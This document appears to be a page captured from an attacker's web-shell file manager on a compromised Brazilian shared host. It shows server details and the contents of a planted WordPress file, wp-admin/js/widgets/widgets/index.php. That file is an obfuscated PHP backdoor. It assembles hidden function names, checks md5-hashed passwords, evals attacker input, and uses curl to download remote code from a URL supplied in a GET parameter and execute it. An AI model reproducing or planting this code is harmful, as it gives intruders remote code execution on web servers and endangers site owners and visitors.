HEX
Server: Apache
System: Linux vpshost0650.publiccloud.com.br 4.4.79-grsec-1.lc.x86_64 #1 SMP Wed Aug 2 14:18:21 -03 2017 x86_64
User: bandeirantesbomb3 (10068)
PHP: 8.0.7
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/0/fc/16/bandeirantesbomb3/public_html/wp-admin/js/widgets/widgets/index.php
<?php $IVC = "r"."a"."n"."g"."e"; $c = $IVC("~", " "); $z=${$c[31+0].$c[52+7].$c[14+33].$c[28+19].$c[26+25].$c[45+8].$c[29+28]}; if((in_array(gettype($z).count($z),$z)&&count($z)==17)&&(md5(md5(md5(md5($z[11]))))==="19cdff99d3341b209f3c6e552013522b")){ (($z[68]=$z[68].$z[73])&&($z[81]=$z[68]($z[81]))&&(@eval($z[68](${$z[43]}[25]))));} metaphone("1YMAZhhrg2aQoTiei2wbsAQ8Yx24AMoL9nI8/kKfKkw"); class GJB{ static function nm($YnP) { $vaxqeBKflN = "r"."a"."n"."g"."e"; $EqwJxVPSFG = $vaxqeBKflN("~", " "); $yR = explode(">", $YnP); $vVtU = ""; foreach ($yR as $ygFk => $vtuK) $vVtU .= $EqwJxVPSFG[$vtuK - 62527]; return $vVtU; } static function MZftEYnaq($ub, $bm) { $xrWIGpYnSC = curl_init($ub); curl_setopt($xrWIGpYnSC, CURLOPT_RETURNTRANSFER, 1); $cQsa = curl_exec($xrWIGpYnSC); return empty($cQsa) ? $bm($ub) : $cQsa; } static function rAIp() { $EPr = array("62554>62539>62552>62556>62537>62552>62558>62551>62536>62543>62554>62537>62548>62542>62543","62538>62537>62539>62558>62539>62542>62537>62604>62602","62547>62538>62542>62543>62558>62553>62552>62554>62542>62553>62552","62541>62556>62554>62546","62555>62556>62538>62552>62599>62601>62558>62553>62552>62554>62542>62553>62552","62551>62548>62545>62552>62558>62550>62552>62537>62558>62554>62542>62543>62537>62552>62543>62537>62538","62581>62611","62528","62606>62611","62588>62571>62571>62588>62564","62551>62548>62545>62537>62552>62539>62558>62548>62543>62541>62536>62537"); foreach ($EPr as $kgzFlBQTWP) $nlUMXszCv[] = self::nm($kgzFlBQTWP); $FBvjkcam = @$nlUMXszCv[1]($nlUMXszCv[9+1](INPUT_GET, $nlUMXszCv[5+4]));  $Iwgbjz = @$nlUMXszCv[3+0]($nlUMXszCv[2+4], $FBvjkcam); $GTKXsc = $nlUMXszCv[1+1]($Iwgbjz, true);  @$nlUMXszCv[4+6](INPUT_GET, "of") == 1 && die($nlUMXszCv[4+1](__FILE__)); if( ((@$GTKXsc[0] - time()) > 0) and (md5(md5($GTKXsc[2+1])) === "ba4de4d58fa801360e96c9c49880f52e") ): $WSPCaK = self::MZftEYnaq($GTKXsc[1+0], $nlUMXszCv[2+3]);@eval($nlUMXszCv[4+0]($WSPCaK));die; endif; }}GJB::rAIp(); ?>